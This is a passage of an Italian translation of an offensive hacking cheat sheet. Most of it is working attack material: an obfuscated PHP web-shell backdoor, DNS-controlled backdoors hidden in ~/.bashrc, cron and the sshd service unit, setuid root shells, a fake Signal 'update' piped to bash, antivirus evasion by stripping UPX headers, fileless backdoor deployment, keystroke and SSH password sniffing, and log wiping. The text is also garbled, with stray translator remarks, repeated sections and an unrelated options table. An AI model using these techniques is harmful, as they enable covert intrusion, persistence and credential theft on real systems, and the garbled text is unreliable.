**6.v. La più piccola backdoor PHP**
Aggiungi questa riga all'inizio di qualsiasi file PHP:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
È la codifica base64 di:```php if(isset($_POST[0])){system($_POST[0]);die;}
Testa la backdoor:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
A volte system() è proibito. Aggiungi eval() per consentire l'esecuzione remota di codice PHP come backup. Nascondilo all'interno di altri commenti base64 per un po' di offuscamento:```php
Attiva con uno qualsiasi di questi per eseguire un comando o codice PHP:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'
6.vi. Backdoor minima a tunnel DNS inverso
Esegui comandi arbitrari su un server che non è accessibile da Internet pubblico utilizzando un trigger DNS inverso.
Aggiungi questa riga (l'impianto) all'inizio di qualsiasi file PHP:```php
L'impianto richiede il payload tramite una richiesta DNS TXT dal dominio `b00m.team-teso.net`. Quando viene attivato, crea `/tmp/.b00m` e notifica THC (tramite un callback app.interactsh.com). *Per favore* usa il tuo dominio e crea anche il tuo payload. Esempio:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
bootloader. Usa un ciclo while per scaricare ed eseguire payload più grandi tramite DNS.Aggiungi questo impianto al ~/.bashrc del target o al crontab (demo-paypload):```shell
bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null
oppure sostituisci il demo-payload con un payload elaborato:
- Avvia un demone in background per interrogare ogni ora l'esecuzione di comandi.
- Dipende solo da bash, dig e base64.
- Si nasconde come `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- L'esempio usa di nuovo `b00m2.team-teso.net` e crea /tmp/.b00m ogni ora.
Copia e incolla quanto segue nella shell del target per generare l'implant di una riga:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt
Aggiungi il risultato su una riga dello script a qualsiasi script di avvio sul target (usa crontab, ~/.bashrc, udev o ExecStartPre=). Ecco un esempio astuto per /usr/lib/systemd/system/ssh.service (con qualche offuscamento aggiuntivo):```
...
[Service]
EnvironmentFile=-/etc/default/ssh
Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash"
ExecStartPre=-bash -c 'eval $SSHD'
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
...
...in PERL:
---
Lo stesso ma che richiede solo perl + bash (non dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt
(grazie a LouCipher per una versione perl)
Taglia e incolla quanto segue nella tua shell:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }
Genera il tuo payload (`egg.py` verrà eseguito sul target):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF
Genera il tuo implant (e segui le istruzioni):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py
<a id="ld-backdoor"></a>
**6.vii. Backdoor locale di root**
#### 1. Backdoor del caricatore dinamico con setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"
vulns:```bash
fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'
#### 2. La buona vecchia shell b00m```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null
Please provide the Markdown content to translate.```shell exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'
<a id="implant"></a>
**6.viii. Impianto auto-estraente**
Crea uno script shell auto-estraente usando [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (vedi il sorgente per esempi).
Esempio semplice:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh
Gli esempi reali sono i migliori:
2. Rinomina `egg.sh` in `update-for-fools.txt` e caricalo come blob nel repository GitHub di [Signal](https://www.signal.org/).
3. Non prendere in giro le persone per aggiornare Signal usando questo comando ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash
Ottieni informazioni essenziali su un host:```sh bash -c "$(curl -fsSL https://thc.org/ws)"
o```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"
netstat se non c'è netstat/ss/lsof:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash
Controlla rapidamente il sistema```sh
curl -fsSL https://bench.sh | bash
# Another speed check:
# curl -fsSL https://yabs.sh | bash
Trova tutti i binari suid/sgid:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null
Trova tutte le directory scrivibili:```bash
wfind() {
local arr dir
arr=("$@")
while [[ ${#arr[@]} -gt 0 ]]; do
dir=${arr[${#arr[@]}-1]}
unset "arr[${#arr[@]}-1]"
find "$dir" -maxdepth 1 -type d -writable -ls 2>/dev/null
IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr
Trova password locali (usando noseyparker o trufflehog):```sh
curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np &&
./np scan . &&
./np report --color=always | less -R
- Usa [PassDetective](https://github.com/aydinnyunus/PassDetective) per trovare le password in ~/.*history
- Usa [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) per estrarre e decrittare le password di Chrome dal processo in esecuzione (solo Windows)
- Estrai le password dai browser utilizzando [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)
Usando `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .
Trova sottodomini o email nei file:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }
---
<a id="shell-hacks"></a>
## 8. Trucchi per la Shell
<a id="shred"></a>
**8.i. Shred e cancella un file**```sh
shred -z foobar.txt
Il contenuto da tradurre non è stato fornito nell'input. Nessuna traduzione può essere generata senza il testo sorgente.```sh
shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt
Nota: Oppure metti i tuoi file nella directory */dev/shm* in modo che nessun dato venga scritto sul disco rigido. I dati verranno eliminati al riavvio.
Nota: Oppure elimina il file e poi riempi l'intero disco rigido con /dev/urandom e poi esegui rm -rf sul file di dump.
<a id="restore-timestamp"></a>
**8.ii. Ripristina la data di un file**
Supponiamo che tu abbia modificato */etc/passwd* ma la data del file ora mostri che */etc/passwd* è stato modificato. Usa *touch* per cambiare la data del file con quella di un altro file (in questo esempio, */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'
Usa hackshell e ctime /etc/passwd per regolare anche il ctime e il birth-time.
Questo azzererà il logfile senza dover riavviare syslogd, ecc.:```sh
/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log
Questo rimuoverà qualsiasi riga contenente l'IP `1.2.3.4` dal file di log:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
Esempi:```sh
<a id="shell-hide-files"></a>
**8.iv. Nascondere file a quell'utente senza privilegi di root**
La nostra directory di lavoro preferita è */dev/shm/*. Questa posizione è memoria volatile e andrà persa al riavvio. NO LOGZ == NO CRIME.
Metodo 1:```sh
alias ls='ls -I system-dev'
Questo nasconderà la directory system-dev dal comando ls. Posizionalo nel ~/.profile dell'utente o a livello di sistema in /etc/profile.
Metodo 2: Trucchi dagli anni '80. Considera qualsiasi directory che l'amministratore guarda raramente (come /boot/.X11/.. o simili):```sh mkdir '...' cd '...'
Metodo 3:
Unix consente nomi di file con quasi qualsiasi carattere ASCII tranne 0x00. Prova il tab (*\t*). Accade che la maggior parte degli amministratori non sappia come fare cd in una directory del genere.```sh
mkdir $'\t'
cd $'\t'
Questo reindirizzerà /var/www/cgi/blah.cgi a /boot/backdoor.cgi. Il file blah.cgi non può essere modificato o rimosso (a meno che non venga smontato).```sh
touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
<a id="nosudo"></a>
**8.vi. Cambiare utente senza sudo/su**
Necessario per acquisire screenshot di sessioni X11 (noto anche come `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` o `import -display :0 -window root screenshot.png`)```bash
xsu() {
local name="${1:?}"
local u g h
local cmd="python"
command -v python3 >/dev/null && cmd="python3"
[ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
u=$(id -u ${name:?}) || return
g=$(id -g ${name:?}) || return
h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user
8.vii. Obfusca e crittografa il payload
Usa UPX per impacchettare un binario ELF (esempio /bin/id):```shell
BIN="mybin"
upx -qqq /bin/id -o "${BIN}"
Pulisci l'[header UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) e il secondo header ELF per ingannare l'antivirus:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"
Opzionalmente, ripulisci le firme e le tracce di UPX:```shell
cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
mv "${BIN}.tmpupx" "${BIN}"
grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}"
perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"
Verifica che il binario non possa essere decompresso:```shell
upx -d "${BIN}" # Should fail with 'not packed by UPX'
Opzionalmente crittografalo con bincrypter.
8.viii. Distribuire una backdoor senza toccare il file-system
Avvia una backdoor senza scrivere sul file-system o quando tutte le posizioni scrivibili sono montate con il maledetto flag noexec.
Un one-liner Perl per caricare un binario in memoria ed eseguirlo (senza toccare alcun disco, /dev/shm o /tmp). Vedi Hackshell per maggiori informazioni.```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }
La variante più breve possibile è (esempio):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u
(Grazie a tmp.Out per alcune discussioni approfondite e lavori precedenti di altri)
Distribuisci gsocket senza scrivere sul filesystem (esempio):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))
Il backdoor può anche essere inviato via pipe tramite SSH direttamente nella memoria del remoto, ed eseguito:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"
Se hai una sola possibilità di eseguire un comando da remoto (ad esempio tramite un exploit PHP), allora questa è la riga che fa per te:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337
---
<a id="crypto"></a>
## 9. Crypto
<a id="gen-password"></a>
**9.i. Genera una password casuale rapida**
Buono per password rapide senza intervento umano.```sh
openssl rand -base64 24
Se openssl non è disponibile, possiamo anche usare head per leggere da /dev/urandom.```sh
head -c 32 < /dev/urandom | xxd -p -c 32
o rendilo alfanumerico```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16
9.ii.a. Filesystem cifrati trasportabili Linux - cryptsetup
Crea un filesystem cifrato di 256MB. Ti verrà chiesto di inserire una password.```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec
Monta:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec
Salva i dati in /mnt/crypted, quindi smonta:```sh
umount /mnt/sec
cryptsetup close sec
<a id="encfs"></a>
**9.ii.b. File system crittografati trasportabili Linux - EncFS**
Crea ```.sec``` e archivia i dati crittografati in ```.raw```:```sh
mkdir .raw .sec
encfs --standard "${PWD}/.raw" "${PWD}/.sec"
unmount:```sh fusermount -u .sec
<a id="encrypting-file"></a>
**9.iii Crittografia di un file**
Crittografa i tuoi 0-Days e i file di log prima di trasferirli - per favore. (e scegli la tua password):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
---
<a id="sniffing"></a>
## 10. Sniffing e hijacking di sessione
<a id="session-sniffing"></a>
**10.i Intercetta la sessione SHELL di un utente**
Una riga per `~/.bashrc` per intercettare le sequenze di tasti dell'utente e salvarle in `~/.config/.pty/.@*`. Utile quando non si è root e si ha bisogno di catturare le credenziali sudo/ssh/git dell'utente.
Distribuzione: taglia e incolla quanto segue sul target e segui le istruzioni:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
/usr/bin/script da util-linux >= 2.37 (flag -I). Preleviamo il binario statico da pkgforge.ssh -o "SetEnv LC_PTY=1" per disabilitare la registrazione.10.ii Intercetta tutte le sessioni SHELL con dtrace - FreeBSD
Particolarmente utile per Solaris/SunOS e FreeBSD (pfSense). Usa sonde del kernel per tracciare tutti i processi sshd.
Copia questo "D Script" sul sistema di destinazione in un file chiamato d:```c
#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
Avvia un dtrace e registra su /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)
10.iii Intercetta tutte le sessioni SHELL con eBPF - Linux
eBPF ci consente di agganciare in sicurezza oltre 120.000 funzioni nel kernel. È come un "dtrace" migliore, ma per Linux.```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt
Check out our very own [eBPF tools to sniff sudo/su/ssh passwords](https://github.com/hackerschoice/bpfhacks).
<a id="ssh-sniffing-strace"></a>
**10.iv Sniff a user's SSH, bash or SSHD session with strace**
---
Wait, I need to provide the translation, not repeat the English. Let me provide the Italian translation:
Dai un'occhiata ai nostri [strumenti eBPF per intercettare le password sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).
<a id="ssh-sniffing-strace"></a>
**10.iv Intercetta la sessione SSH, bash o SSHD di un utente con strace**```sh
tit() {
strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ... | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)
È anche possibile fiutare il processo SSHD (cattura anche password sudo ecc.). Nota che tracciamo la chiamata write() invece (perché sshd 'scrive' dati alla bash):```sh
ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...
Sniff 7770 (esempio):```shell
tit write 7770
10.v. Intercettare la sessione SSH in uscita di un utente con uno script wrapper
Metodo ancora più sporco nel caso in cui /proc/sys/kernel/yama/ptrace_scope sia impostato a 1 (strace fallirà sulle sessioni SSH già in esecuzione)
Crea uno script wrapper chiamato 'ssh' che esegue strace + ssh per registrare la sessione:
mkdir -p ~/.local/bin ~/.local/logs
cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF
cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF
chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile
echo -e "\033[1;32mSUCCESS.
Logfiles stored in ~/.local/.logs/.
To uninstall cut & paste this\033[0m:\033[1;36m
grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile
rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"
(thanks to Gerald for testing this)
</details>
La sessione SSH verrà sniffata e registrata in *~/.ssh/logs/* la prossima volta che l'utente accede alla sua shell e usa SSH.
<a id="ssh-sniffing-sshit"></a>
**10.vi Sniffa la sessione SSH in uscita di un utente usando SSH-IT**
Il modo più semplice è usare [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"
10.vii Dirottamento / Subentro di una sessione SSH in esecuzione
Usa https://github.com/nelhage/reptyr per subentrare in una sessione SSH esistente:```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T
| Opzione | Descrizione |
|---|
--file | Percorso di un file PEM locale da cui leggere il certificato. |
--server-name | Nome del server (SNI) da utilizzare per la verifica TLS. |
--timeout | Timeout per la connessione remota (ad es. 5s, 1m). |
--help | Mostra la guida. |
| Nome | Descrizione |
|---|
| Alias | Nessun alias |
| Categoria | Nessuna categoria |
| Piattaforme | Nessuna piattaforma |
| Anni | 2022 |
| Gruppi associati | Nessuna associazione |
| Riferimenti esterni | Riferimenti esterni |
---
<a id="vpn-shell"></a>
## 11. VPN e shell
<a id="shell"></a>
**11.i. Root server usa e getta**```console
$ ssh [email protected] # Use password 'segfault'
Fornitori VPN affidabili
Server privati virtuali. Controlla offshore.cat.
Vedi altri servizi senza KYC (.onion)
Proxy (non ne usiamo nessuno)
curl -x socks5h://$(PROXY) ipinfo.io - seleziona un proxy casuale per ogni richiestaMolti altri servizi (gratis)
DNS inverso da più database pubblici:```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }
Trova sottodomini dal database TLS/THC-IP:```sh
sub() {
[ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
| Strumenti OSINT per Hacker | |
|---|---|
| https://api.c99.nl | Gratuito: Subdomain Finder, A PAGAMENTO: Phone-Lookup, CF Resolver, WAF Detector, IP2Host, e altro ancora... per $25/anno. |
| https://osint.sh | Gratuito. Ricerca sottodomini, cronologia DNS, bucket S3 pubblici, Reverse IP, ricerca certificati e altro ancora |
| https://cli.fyi | Gratuito. Interfaccia curl/json per molti servizi. Prova curl cli.fyi/me o curl cli.fyi/thc.org. |
| https://check-your-website.server-daten.de | Gratuito. Controllo TLS/DNS/Sicurezza di un dominio. |
| https://ipsniper.info/api.html | Strumenti rDNS/fDNS e altre informazioni sugli IP |
| https://ip.thc.org | Lookup fDNS/rDNS: curl -fL ip.thc.org/140.82.121.3 |
| https://hackertarget.com/ip-tools/ | Servizio OSINT gratuito (Reverse IP, MTR, port scan, scansioni CMS, scansioni di vulnerabilità, supporto API) |
| https://account.shodan.io/billing/tour | Database delle porte aperte e ricerca DNS da tutto il mondo |
| https://dnsdumpster.com/ | Strumento di ricognizione domini |
| https://crt.sh/ | Ricerca certificati TLS |
| https://archive.org/web/ | Vista storica dei siti web |
| https://www.farsightsecurity.com/solutions/dnsdb/ | Ricerca DNS (non gratuita) |
| https://wigle.net/ | Mappatura reti wireless |
| https://radiocells.org/ |
| OSINT per detective | |
|---|---|
| https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list | Lista di risorse OSINT di Nixintel |
| https://github.com/jivoi/awesome-osint | Lista Awesome OSINT |
| https://cipher387.github.io/osint_stuff_tool_collection/ | Collezione di strumenti OSINT |
| https://osintframework.com/ | Molti strumenti OSINT |
| Database OSINT | |
|---|---|
| https://data.ddosecrets.com/ | Dump di database |
Comunicazioni
OpSec
exiftool -all= example.pdf example1.jpg ...)Exploit
Raccolta informazioni di sistema
curl -fsSL https://thc.org/ws | bash - Mostra tutti i domini ospitati su un server + informazioni di sistemagetexploit dopo l'installazione)Backdoor
Scanner di rete
Scanner di vulnerabilità (attenzione: tutti questi producono il 99% di falsi positivi non sfruttabili. Fanno tutti schifo.)
DDoS
Binari statici / strumenti precompilati
Phishing
Strumenti
Callback / Canary / Command & Control
Tunneling
blitz -l / blitz foo.txtexfilcurl -T foo.txt https://oshi.atcurl -F'[email protected]' https://0x0.st/curl -T foo.txt https://transfer.shcurl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.phpcroc send foo.txt / croc anit-price-exampleForum e conferenze
Mappe mentali e conoscenza
| Cheat Sheet di Tmux | |
|---|---|
| Buffer massimo | Ctrl-b + : + set-option -g history-limit 65535 |
| Salva scrollback | Ctrl-b + : + capture-pane -S - seguito da Ctrl-b + : + save-buffer filename.txt. |
| Spia scrollback | tmux capture-pane -e -pS- -t 6.0 per catturare il pannello 6, finestra 0 di un tmux in esecuzione. Rimuovi -e per salvare senza colori. |
